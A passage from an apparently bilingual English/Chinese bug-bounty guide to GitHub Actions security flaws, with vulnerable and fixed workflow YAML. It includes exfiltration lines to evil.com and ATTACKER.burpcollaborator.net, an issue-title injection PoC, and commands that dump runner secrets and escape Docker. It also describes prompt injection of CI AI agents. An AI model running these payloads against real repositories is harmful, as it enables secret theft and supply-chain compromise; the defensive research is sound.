  • Reusable workflow taint
    secrets: inherit
    passes all secrets to called workflow that processes untrusted input
  • Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
  • Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
  • Artifact poisoning
    actions/download-artifact
    from untrusted
    workflow_run
    without validation
    yaml
    # VULNERABLE — downloads artifact from untrusted workflow, then executes it
    on: workflow_run
    steps:
      - uses: actions/download-artifact@v4
      - run: ./downloaded-binary  # attacker-controlled binary
    
    # FIXED — verify artifact hash/signature before execution
  • Artipacked
    actions/checkout
    with
    persist-credentials: true
    (default) leaks
    .git/config
    credentials in uploaded artifacts
    yaml
    # FIXED
    - uses: actions/checkout@v4
      with:
        persist-credentials: false
根本原因: 特权触发器(
pull_request_target
,
workflow_run
)检出攻击者的PR代码,然后使用仓库密钥运行它。
  • 不受信任的检出
    pull_request_target
    上的
    actions/checkout
    无明确安全ref
    yaml
    # 易受攻击 — 使用仓库密钥检出攻击者的PR代码
    on: pull_request_target
    jobs:
      build:
        steps:
          - uses: actions/checkout@v4
            with:
              ref: ${{ github.event.pull_request.head.sha }}  # 攻击者代码
          - run: make build  # 使用密钥运行攻击者的Makefile
    
    # 修复 — 仅检出基础分支,或使用只读权限
    permissions: {}
    steps:
      - uses: actions/checkout@v4  # 默认检出基础分支
  • TOCTOU(检查时间-使用时间) — 标签门控批准 + 可变ref = 攻击者添加标签,批准后推送恶意提交
  • 可重用工作流污染
    secrets: inherit
    将所有密钥传递给处理不受信任输入的被调用工作流
  • 缓存投毒 — 不受信任的检出 → 构建 → 缓存写入 → 特权工作流读取被投毒的缓存
  • 缓存投毒(可投毒步骤) — 不安全检出后在缓存保存前执行构建步骤
  • 工件投毒 — 从不受信任的
    workflow_run
    下载工件无验证
    yaml
    # 易受攻击 — 下载不受信任工作流的工件,然后执行它
    on: workflow_run
    steps:
      - uses: actions/download-artifact@v4
      - run: ./downloaded-binary  # 攻击者控制的二进制文件
    
    # 修复 — 执行前验证工件哈希/签名
  • Artipacked
    actions/checkout
    默认
    persist-credentials: true
    在上传的工件中泄露
    .git/config
    凭证
    yaml
    # 修复
    - uses: actions/checkout@v4
      with:
        persist-credentials: false

Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

类别3: 供应链与依赖安全(CICD-SEC-08)

  • Unpinned actions
    uses: actions/checkout@v4
    (mutable tag) instead of SHA pin
    yaml
    # VULNERABLE — tag can be force-pushed
    uses: actions/checkout@v4
    
    # FIXED — pinned to immutable commit SHA
    uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  • Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
  • Ref confusion — ambiguous tag/branch names exploited to load unintended action version
  • Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
  • Archived actions — unmaintained action with unpatched vulnerabilities
  • Unpinned container images
    image: ubuntu:latest
    instead of SHA256 digest pin
  • 未固定的操作 — 使用
    actions/checkout@v4
    (可变标签)而非SHA固定
    yaml
    # 易受攻击 — 标签可被强制推送
    uses: actions/checkout@v4
    
    # 修复 — 固定到不可变提交SHA
    uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
  • 冒名提交 — 分叉网络与父仓库共享对象存储。攻击者推送提交到分叉,然后在父仓库的
    uses:
    中引用该提交SHA。GitHub解析它,因为SHA存在于共享对象存储中。
  • Ref混淆 — 模糊的标签/分支名称被利用来加载非预期的操作版本
  • 已知易受攻击的操作 — 检查操作是否在GHSA数据库中(sisakulint自动检测)
  • 已归档的操作 — 未维护的操作包含未修补的漏洞
  • 未固定的容器镜像 — 使用
    image: ubuntu:latest
    而非SHA256摘要固定

Category 4: Credential & Secret Protection

类别4: 凭证与密钥保护

  • Secret exfiltration
    curl https://evil.com/${{ secrets.TOKEN }}
    in workflow
  • Secrets in artifacts — uploaded artifacts contain
    .env
    , credentials, or hidden files
    yaml
    # FIXED — exclude hidden files
    - uses: actions/upload-artifact@v4
      with:
        include-hidden-files: false
  • Unmasked secrets
    fromJson()
    derived values bypass GitHub's automatic masking
    yaml
    # FIXED — manually mask derived secrets
    run: |
      TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
      echo "::add-mask::$TOKEN"
  • Excessive
    secrets: inherit
    — reusable workflow call inherits all secrets when it only needs one
  • Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML
  • 密钥泄露 — 工作流中的
    curl https://evil.com/${{ secrets.TOKEN }}
  • 工件中的密钥 — 上传的工件包含
    .env
    , 凭证, 或隐藏文件
    yaml
    # 修复 — 排除隐藏文件
    - uses: actions/upload-artifact@v4
      with:
        include-hidden-files: false
  • 未掩码的密钥
    fromJson()
    派生值绕过GitHub的自动掩码
    yaml
    # 修复 — 手动掩码派生密钥
    run: |
      TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
      echo "::add-mask::$TOKEN"
  • 过度的
    secrets: inherit
    — 可重用工作流调用继承所有密钥,而它只需要一个
  • 硬编码凭证 — API密钥、密码、令牌直接在工作流YAML中

Category 5: Triggers & Access Control (CICD-SEC-01)

类别5: 触发器与访问控制(CICD-SEC-01)

  • Dangerous triggers without mitigation
    pull_request_target
    or
    workflow_run
    with no
    permissions: {}
    , no approval gate, no ref restriction
  • Dangerous triggers with partial mitigation — some protections present but bypassable
  • Label-based approval bypass
    if: contains(github.event.pull_request.labels.*.name, 'approved')
    is spoofable (attacker can add labels)
  • Bot condition spoofing
    if: github.actor != 'dependabot[bot]'
    is trivially bypassed by naming account similarly
  • Excessive GITHUB_TOKEN permissions
    permissions: write-all
    when only
    contents: read
    needed
  • Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
  • OIDC token theft — CI runners expose OIDC tokens that grant cloud access
  • 无缓解措施的危险触发器
    pull_request_target
    workflow_run
    permissions: {}
    , 无批准门, 无ref限制
  • 部分缓解措施的危险触发器 — 存在一些保护但可绕过
  • 基于标签的批准绕过
    if: contains(github.event.pull_request.labels.*.name, 'approved')
    可被欺骗(攻击者可添加标签)
  • Bot条件欺骗
    if: github.actor != 'dependabot[bot]'
    可通过命名类似账户轻松绕过
  • 过度的GITHUB_TOKEN权限
    permissions: write-all
    而只需要
    contents: read
  • 公共仓库中的自托管运行器 — 不受信任的PR在组织基础设施上执行 = 容器逃逸 → 横向移动
  • OIDC令牌窃取 — CI运行器暴露授予云访问权限的OIDC令牌

Category 6: AI Agent Security (NEW — 2025+)

类别6: AI代理安全(新增 — 2025+)

  • Unrestricted AI trigger
    allowed_non_write_users: "*"
    lets any user trigger AI agent execution
  • Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
  • Prompt injection via workflow context
    ${{ github.event.issue.body }}
    interpolated into AI agent prompt parameter
  • 无限制的AI触发器
    allowed_non_write_users: "*"
    允许任何用户触发AI代理执行
  • 过度的工具授权 — AI代理在不受信任的触发器上下文中拥有Bash/Write/Edit工具 = 攻击者提示 → RCE + 密钥泄露
  • 通过工作流上下文进行提示注入
    ${{ github.event.issue.body }}
    插入到AI代理提示参数中

Hunting Workflow

挖掘工作流

1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering
1. 侦察: 在目标的公共仓库中找到所有.github/workflows/*.yml
2. 扫描: sisakulint scan .github/workflows/(或--remote owner/repo)
3. 分类: 严重/高危发现 → 手动验证
4. 对每个发现:
   a. 我能否作为外部贡献者触发它?(分叉PR、创建问题、评论)
   b. 可访问哪些密钥?(检查权限: block, 密钥使用)
   c. 影响范围是什么?(仓库密钥 → 部署密钥 → 云访问)
5. PoC: 创建分叉,提交触发易受攻击工作流的PR/问题
6. 证明: 展示密钥泄露、代码执行或工件篡改

Expression Injection PoC Template

表达式注入PoC模板

bash
undefined
bash
undefined

Step 1: Create an issue with injection payload in title

步骤1: 创建标题中包含注入载荷的问题

gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"

Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated

步骤2: 如果工作流在创建问题时触发并插入标题 → 密钥泄露

CVSS: 9.3 Critical (RCE with repo secrets)

CVSS: 9.3 严重(带仓库密钥的RCE)

undefined
undefined

Real-World GHSAs (Proven Payouts)

真实世界GHSAs(已验证赏金)

GHSAActionBug ClassSeverity
GHSA-gq52-6phf-x2r6tj-actions/branch-namesExpression injection via branch nameCritical
GHSA-4xqx-pqpj-9fqwatlassian/gajira-createCode injection in privileged triggerCritical
GHSA-g86g-chm8-7r2pcheck-spelling/check-spellingSecret exposure in build logsCritical
GHSA-cxww-7g56-2vh6actions/download-artifactArtifact poisoning (official action)High
GHSA-h3qr-39j9-4r5vgradle/gradle-build-actionCache poisoning via untrusted checkoutHigh
GHSA-mrrh-fwg8-r2c3tj-actions/changed-filesSupply chain — impostor commitHigh
GHSA-phf6-hm3h-x8qpbroadinstitute/cromwellToken exposure via code injectionCritical
GHSA-qmg3-hpqr-gqvcreviewdog/action-setupTime-bomb via tag pinningHigh
GHSA-vqf5-2xx6-9wfmgithub/codeql-actionKnown vulnerable official actionHigh
GHSA-hw6r-g8gj-2987pytorch/pytorchArgument injection in build workflowModerate
GHSA操作漏洞类别严重程度
GHSA-gq52-6phf-x2r6tj-actions/branch-names通过分支名称进行表达式注入严重
GHSA-4xqx-pqpj-9fqwatlassian/gajira-create特权触发器中的代码注入严重
GHSA-g86g-chm8-7r2pcheck-spelling/check-spelling构建日志中的密钥暴露严重
GHSA-cxww-7g56-2vh6actions/download-artifact工件投毒(官方操作)高危
GHSA-h3qr-39j9-4r5vgradle/gradle-build-action通过不受信任的检出进行缓存投毒高危
GHSA-mrrh-fwg8-r2c3tj-actions/changed-files供应链 — 冒名提交高危
GHSA-phf6-hm3h-x8qpbroadinstitute/cromwell通过代码注入泄露令牌严重
GHSA-qmg3-hpqr-gqvcreviewdog/action-setup通过标签固定设置定时炸弹高危
GHSA-vqf5-2xx6-9wfmgithub/codeql-action已知易受攻击的官方操作高危
GHSA-hw6r-g8gj-2987pytorch/pytorch构建工作流中的参数注入中危

A→B Signal: CI/CD Chains

A→B信号: CI/CD链

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot
表达式注入 → 密钥泄露 → 云账户接管
不受信任的检出 → Makefile RCE → 部署密钥窃取 → 仓库接管
工件投毒 → 发布二进制文件篡改 → 供应链 compromise
缓存投毒 → 构建输出操纵 → 后门部署
冒名提交 → 固定操作劫持 → 所有下游仓库受影响
OIDC令牌窃取 → 云元数据 → S3/GCS读取 → 客户数据
自托管运行器 → 容器逃逸 → 内部网络渗透

Deep-Dive: From sisakulint Finding to Bounty Report

深入分析: 从sisakulint发现到赏金报告

sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
sisakulint发现可能可被利用——不是已确认的漏洞。每个发现都需要手动验证。以下模式提取自36份真实世界付费报告(总赏金$250K+)。每个部分都遵循导致实际赏金支付的思路。

1. Code Injection / Argument Injection

1. 代码注入 / 参数注入

Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
  1. Trigger accessibility
    issues: opened
    and
    issue_comment: created
    are triggerable by ANY GitHub user.
    pull_request_target
    is triggerable via fork PR. Check if there's an
    if:
    condition filtering by actor/association.
  2. Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because
    cherry-picker.yml
    passed
    ${{ github.event.issue.title }}
    via
    with:
    to a composite action in another repo (
    bazelbuild/continuous-integration
    ). The composite action's
    action.yml
    had
    run: TITLE="${{ inputs.issue-title }}"
    . Conventional scanners (actionlint) missed this because they don't follow
    uses:
    into external composite actions. Always fetch and read the composite action's action.yml.
  3. Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used
    ${IFS}
    (Internal Field Separator) and Bash brace expansion
    {curl,-sSfL,URL}
    to bypass this. Issue titles/bodies have no such restriction.
  4. Secrets reachability — Check
    permissions:
    at workflow AND job level. No explicit
    permissions:
    block = repo default (often
    write-all
    ). Check
    env:
    blocks for
    ${{ secrets.* }}
    . Check if
    GITHUB_TOKEN
    has write permissions.
  5. Impact chain — Bazel: issue title injection → composite action shell injection →
    BAZEL_IO_TOKEN
    +
    GITHUB_TOKEN (write-all)
    → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).
Kill signals:
${{ contains(...) }}
or
${{ startsWith(...) }}
returning booleans are NOT injectable — false positive.
${{ github.event.pull_request.labels.*.name }}
inside
contains()
evaluates to
true
/
false
, not the label text.
门控问题: 外部攻击者能否触发此工作流,且受污染的输入是否到达shell上下文?
验证深度:
  1. 触发器可访问性
    issues: opened
    issue_comment: created
    可被任何GitHub用户触发。
    pull_request_target
    可通过分叉PR触发。检查是否有
    if:
    条件按actor/关联过滤。
  2. 直接 vs 间接污点 — 工作流文件本身可能看起来安全。Cycode发现Bazel的$13K漏洞,因为
    cherry-picker.yml
    通过
    with:
    ${{ github.event.issue.title }}
    传递给另一个仓库中的复合操作
    bazelbuild/continuous-integration
    )。复合操作的
    action.yml
    run: TITLE="${{ inputs.issue-title }}"
    。传统扫描器(actionlint)错过这个,因为它们不跟随
    uses:
    到外部复合操作。始终获取并阅读复合操作的action.yml。
  3. 载荷构造 — 分支名称不能包含空格。Ultralytics YOLO攻击者使用
    ${IFS}
    (内部字段分隔符)和Brace扩展
    {curl,-sSfL,URL}
    绕过这个限制。问题标题/正文没有这样的限制。
  4. 密钥可达性 — 检查工作流和作业级别的
    permissions:
    。无显式
    permissions:
    块 = 仓库默认(通常是
    write-all
    )。检查
    env:
    块中的
    ${{ secrets.* }}
    。检查
    GITHUB_TOKEN
    是否有写入权限。
  5. 影响链 — Bazel: 问题标题注入 → 复合操作shell注入 →
    BAZEL_IO_TOKEN
    +
    GITHUB_TOKEN (write-all)
    → Bazel代码库后门能力(影响Google、Kubernetes、Uber、LinkedIn)。
终止信号:
${{ contains(...) }}
${{ startsWith(...) }}
返回布尔值不可注入——误报。
contains()
中的
${{ github.event.pull_request.labels.*.name }}
计算为
true
/
false
,而非标签文本。

2. Untrusted Checkout (Pwn Request)

2. 不受信任的检出(Pwn Request)

Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
  1. Explicit vs implicit code execution — The Flank $7.5K bug:
    gh pr checkout
    gradle/gradle-build-action
    runs Gradle → Gradle auto-evaluates
    settings.gradle.kts
    as Kotlin script. The attacker never wrote a
    run:
    command. Any build tool that reads config from the repo is an execution vector:
    Makefile
    ,
    package.json
    (postinstall scripts),
    setup.py
    ,
    build.gradle.kts
    ,
    .cargo/config.toml
    ,
    Gemfile
    .
  2. Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft:
    issue_comment
    trigger +
    refs/pull/${{ github.event.issue.number }}/head
    checkout.
    issue_comment
    runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
  3. Self-hosted runner escalation — If
    runs-on:
    contains
    self-hosted
    , check: (a) Is the runner ephemeral? (
    --ephemeral
    in config.sh). (b) Is the runner in Docker group? (
    docker run -v /:/host --privileged
    ). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner:
    RUNNER_TRACKING_ID=0
    + install attacker's runner agent) → wait for privileged workflow → steal PATs from
    .git/config
    or process memory.
  4. TOCTOU — Label-gated
    pull_request_target
    workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The
    ref:
    at checkout time resolves to the new commit. Mutable refs (
    github.event.pull_request.head.sha
    at trigger time vs checkout time) are the root cause.
  5. Post-exploitation — After initial access, enumerate all secrets:
    env | base64
    ,
    cat /proc/self/environ
    ,
    gcore $(pgrep Runner.Worker)
    +
    strings core.* | grep ghp_
    . PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.
Kill signals:
if: "!github.event.pull_request.head.repo.fork"
blocks external attackers.
permissions: {}
at workflow level with only
contents: read
at job level limits damage. Ephemeral runners with
--ephemeral
flag prevent persistence.
门控问题: 工作流是否检出攻击者控制的代码,然后执行该检出中的内容?
验证深度:
  1. 显式 vs 隐式代码执行 — Flank的$7.5K漏洞:
    gh pr checkout
    gradle/gradle-build-action
    运行Gradle → Gradle自动评估
    settings.gradle.kts
    作为Kotlin脚本。攻击者从未编写
    run:
    命令。任何从仓库读取配置的构建工具都是执行向量:
    Makefile
    ,
    package.json
    (postinstall脚本),
    setup.py
    ,
    build.gradle.kts
    ,
    .cargo/config.toml
    ,
    Gemfile
  2. Issue_comment与pull_request_target同样危险 — Rspack NPM令牌窃取:
    issue_comment
    触发器 +
    refs/pull/${{ github.event.issue.number }}/head
    检出。
    issue_comment
    在基础仓库上下文中运行,拥有完整密钥。包含草稿PR。无贡献者状态检查。始终检查issue_comment工作流中的PR检出模式。
  3. 自托管运行器升级 — 如果
    runs-on:
    包含
    self-hosted
    ,检查: (a) 运行器是否为临时的?(
    config.sh
    中的
    --ephemeral
    )。(b) 运行器是否在Docker组中?(
    docker run -v /:/host --privileged
    )。(c) PyTorch模式: 贡献者技巧(打字错误修复PR → 合并 → 贡献者状态 → 无需批准自动在自托管运行器上触发) → RoR(Runner-on-Runner:
    RUNNER_TRACKING_ID=0
    + 安装攻击者的运行器代理) → 等待特权工作流 → 从
    .git/config
    或进程内存中窃取PAT。
  4. TOCTOU — 标签门控
    pull_request_target
    工作流: 攻击者添加标签(社会工程),工作流检查标签存在,攻击者在检查和检出之间推送恶意提交。检出时的
    ref:
    解析为新提交。可变ref(触发时的
    github.event.pull_request.head.sha
    vs 检出时的)是根本原因。
  5. 后利用 — 初始访问后,枚举所有密钥:
    env | base64
    ,
    cat /proc/self/environ
    ,
    gcore $(pgrep Runner.Worker)
    +
    strings core.* | grep ghp_
    。PyTorch攻击者获得3个bot PAT → 组合它们绕过主分支的分支保护。
终止信号:
if: "!github.event.pull_request.head.repo.fork"
阻止外部攻击者。工作流级别的
permissions: {}
加上作业级别的仅
contents: read
限制损害。带
--ephemeral
标志的临时运行器防止持久化。

3. Artifact Poisoning

3. 工件投毒

Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
  1. Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via
    needs:
    ) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is:
    pull_request
    workflow uploads → separate
    workflow_run
    workflow downloads.
    workflow_run
    triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
  2. Download path matters
    actions/download-artifact
    with
    path: .
    or workspace-relative paths (
    grafana-server/bin
    ) can overwrite source code, build scripts, or binaries. Safe pattern: extract to
    ${{ runner.temp }}/artifacts
    .
  3. Source validation — Does the
    workflow_run
    consumer check
    github.event.workflow_run.head_repository.full_name != github.repository
    ? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
  4. ArtiPACKED (persist-credentials)
    actions/checkout
    defaults to
    persist-credentials: true
    . This writes
    GITHUB_TOKEN
    to
    .git/config
    . If the artifact upload path includes
    .git/
    (e.g.,
    path: .
    ), the token is publicly downloadable from the Actions artifact. Check: does any
    upload-artifact
    step use
    path: .
    or a broad path that includes
    .git/
    ?
Kill signals: Upload and download in the same workflow run (connected by
needs:
).
workflow_run
consumer that explicitly checks fork origin.
persist-credentials: false
on checkout.
门控问题: 是否存在两阶段工作流模式,其中阶段1(pull_request,无密钥)上传工件,阶段2(workflow_run,有密钥)下载并使用它们?
验证深度:
  1. 跨工作流工件流 — 同一工作流中的上传/下载(通过
    needs:
    连接的构建作业 → 测试作业)不可被投毒,因为攻击者的PR运行自己的构建。危险模式是:
    pull_request
    工作流上传 → 单独的
    workflow_run
    工作流下载。
    workflow_run
    在另一个工作流完成时触发,并在默认分支上下文中运行,拥有完整密钥。
  2. 下载路径很重要
    actions/download-artifact
    使用
    path: .
    或工作区相对路径(
    grafana-server/bin
    )可覆盖源代码、构建脚本或二进制文件。安全模式: 提取到
    ${{ runner.temp }}/artifacts
  3. 源验证
    workflow_run
    使用者是否检查
    github.event.workflow_run.head_repository.full_name != github.repository
    ?如果没有,分叉PR工件被盲目使用。Rust发布管道恰好易受此攻击。
  4. ArtiPACKED(persist-credentials)
    actions/checkout
    默认
    persist-credentials: true
    。这将
    GITHUB_TOKEN
    写入
    .git/config
    。如果工件上传路径包含
    .git/
    (例如,
    path: .
    ),令牌可从Actions工件中公开下载。检查: 是否有
    upload-artifact
    步骤使用
    path: .
    或包含
    .git/
    的宽路径?
终止信号: 同一工作流运行中的上传和下载(通过
needs:
连接)。显式检查分叉来源的
workflow_run
使用者。检出时的
persist-credentials: false

4. Cache Poisoning

4. 缓存投毒

Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (
hashFiles('package-lock.json')
) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
Verification depth:
  1. Key predictability
    key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}
    is fully predictable. Adding
    github.sha
    or
    github.run_id
    to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
  2. Cache hierarchy exploitation
    workflow_run
    and
    workflow_dispatch
    workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The
    run-dashboard-search-e2e.yml
    pattern:
    workflow_run
    trigger →
    actions/cache
    with
    hashFiles()
    key → all PR workflows read this cache.
  3. Payload injection — Cacheract: inject malware into package manager caches (
    node_modules/.cache
    ,
    ~/.cache/pip
    ,
    ~/.gradle/caches
    ). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.
  4. Privileged consumption — The cache is restored in a
    push
    or
    schedule
    workflow on the default branch. These workflows have full
    secrets
    access. The poisoned dependency executes during
    npm install
    /
    pip install
    /
    gradle build
    and exfiltrates secrets.
  5. Clinejection chain — Prompt injection → AI agent runs
    npm install
    from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
Kill signals: Cache key includes
github.sha
or
github.run_id
. Separate cache keys per workflow.
actions/cache/restore
(read-only) instead of
actions/cache
(read-write) in PR workflows.
门控问题: 分叉PR能否写入缓存条目,而默认分支稍后在特权上下文中恢复它?
关键: GitHub的缓存范围不能完全防止这种情况。 PR分支可读取默认分支的缓存。分叉PR工作流可写入缓存条目。如果缓存键是确定性的(
hashFiles('package-lock.json')
)且攻击者不修改该文件,分叉PR写入相同缓存键。
验证深度:
  1. 键可预测性
    key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}
    完全可预测。将
    github.sha
    github.run_id
    添加到键中使其不可预测。检查每个缓存键是否包含不可预测的组件。
  2. 缓存层次利用
    workflow_run
    workflow_dispatch
    工作流在默认分支上下文中运行。如果它们使用可预测键写入缓存,能触发起始工作流的攻击者(通过分叉PR)可预先投毒缓存。
    run-dashboard-search-e2e.yml
    模式:
    workflow_run
    触发器 →
    actions/cache
    使用
    hashFiles()
    键 → 所有PR工作流读取此缓存。
  3. 载荷注入 — Cacheract: 将恶意软件注入包管理器缓存(
    node_modules/.cache
    ,
    ~/.cache/pip
    ,
    ~/.gradle/caches
    )。恶意软件自我延续,因为每个恢复 → 构建 → 保存周期都保留载荷。缓存TTL为7天——载荷在多个工作流运行中存活。
  4. 特权消费 — 缓存在默认分支的
    push
    schedule
    工作流中恢复。这些工作流拥有完整的
    secrets
    访问权限。被投毒的依赖在
    npm install
    /
    pip install
    /
    gradle build
    期间执行并泄露密钥。
  5. Clinejection链 — 提示注入 → AI代理从攻击者提交运行
    npm install
    → npm缓存中的Cacheract → 夜间发布工作流恢复缓存 → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN被盗 → 恶意Cline v2.3.0发布8小时。
终止信号: 缓存键包含
github.sha
github.run_id
。每个工作流使用单独的缓存键。PR工作流中使用
actions/cache/restore
(只读)而非
actions/cache
(读写)。

5. Self-Hosted Runners

5. 自托管运行器

Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
  1. Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
  2. Runner persistence — Non-ephemeral runners retain state between jobs.
    RUNNER_TRACKING_ID=0
    prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (
    docker run -d --restart always
    ) also survive cleanup.
  3. Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
  4. Lateral movement — RoR persistence → wait for privileged
    push
    /
    schedule
    workflows → steal tokens from
    .git/config
    ,
    $GITHUB_ENV
    ,
    /proc/PID/environ
    , or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access →
    pip install pytorch
    supply chain.
  5. Docker group escalation
    docker run -v /:/host --privileged alpine chroot /host
    → full host root. Add SSH keys, modify sudoers, install persistent backdoors.
Kill signals:
--ephemeral
flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
门控问题: 自托管运行器是否用于外部贡献者可触发工作流的公共仓库?
验证深度:
  1. 批准设置 — 默认: "Require approval for first-time contributors"。一次合并PR(即使是打字错误修复)后,攻击者成为“贡献者”,后续PR无需批准自动触发。GitHub runner-images的$20K漏洞恰好使用此技巧。
  2. 运行器持久化 — 非临时运行器在作业之间保留状态。
    RUNNER_TRACKING_ID=0
    防止运行器在作业完成后清理攻击者进程。分离的Docker容器(
    docker run -d --restart always
    )也在清理后存活。
  3. Runner-on-Runner (RoR) — 在目标的自托管运行器上安装官方GitHub Actions运行器二进制文件,注册到攻击者的私有组织。仅使用合法GitHub二进制文件和HTTPS连接到github.com——与正常运行器流量无法区分。无需C2服务器。GitHub本身就是C2。
  4. 横向移动 — RoR持久化 → 等待特权
    push
    /
    schedule
    工作流 → 从
    .git/config
    ,
    $GITHUB_ENV
    ,
    /proc/PID/environ
    , 或Runner.Worker进程内存中窃取令牌。PyTorch: 3个bot PAT → 93个仓库 → AWS S3写入权限 →
    pip install pytorch
    供应链。
  5. Docker组升级
    docker run -v /:/host --privileged alpine chroot /host
    → 完整主机root。添加SSH密钥,修改sudoers,安装持久后门。
终止信号: 运行器注册时的
--ephemeral
标志。"Require approval for ALL outside collaborators"(不仅是首次)。运行器不在Docker组中。私有仓库(无外部PR)。

6. Supply Chain (commit-sha / impostor-commit / ref-confusion)

6. 供应链(commit-sha / 冒名提交 / ref-confusion)

Gate question: Does the workflow use mutable tags (
@v1
,
@v2
) for actions, and could those tags be replaced?
Verification depth:
  1. Tag mutability
    git tag -f v1 <malicious-commit>
    replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
  2. Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's
    uses:
    . GitHub resolves it because the SHA exists in the shared object store.
  3. RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used
    MirrorNG/unity-runner
    → MirrorNG renamed to MirageNet →
    MirrorNG
    was claimable. Check:
    GET /users/<action-owner>
    returns 404? Takeover possible.
  4. Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via
    /proc/PID/maps
    +
    /proc/PID/mem
    , encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.
Kill signals: Full 40-char SHA pinning (
uses: actions/checkout@b4ffde65...
). Dependabot configured for
github-actions
ecosystem. Organization-level action allowlist.
门控问题: 工作流是否对操作使用可变标签(
@v1
,
@v2
),且这些标签可被替换?
验证深度:
  1. 标签可变性
    git tag -f v1 <malicious-commit>
    替换标签。98.4%的仓库不使用SHA固定(Legit Security 2024)。tj-actions攻击: 所有版本标签(v1, v35, v45)被替换为memdump.py载荷 → 23K仓库受影响 → 218个确认密钥泄露。
  2. 冒名提交 — 分叉网络与父仓库共享对象存储。攻击者推送提交到分叉,然后在父仓库的
    uses:
    中引用该提交SHA。GitHub解析它,因为SHA存在于共享对象存储中。
